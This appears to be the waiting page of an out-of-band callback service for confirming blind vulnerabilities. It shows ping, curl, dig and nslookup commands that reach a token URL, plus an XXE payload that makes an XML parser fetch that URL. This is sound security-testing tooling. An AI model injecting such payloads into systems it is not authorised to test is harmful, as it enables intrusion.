$ ping -c1 -p 00252e06194f118d24ba89124ae80700 unhack.ca
 
$ curl http://unhack.ca/p/252e06194f118d24ba89124ae807
 
$ dig 252e06194f118d24ba89124ae807 @unhack.ca
 
$ dig 252e06194f118d24ba89124ae807.ns.unhack.ca
 
C:\> nslookup 252e06194f118d24ba89124ae807 unhack.ca
 
<?xml version="1.0" encoding="ISO-8859-1"?>
    <!DOCTYPE foo [<!ELEMENT foo ANY>
    <!ENTITY xxe SYSTEM "http://unhack.ca/p/252e06194f118d24ba89124ae807">]>
    <foo>&xxe;</foo>
Waiting for ping...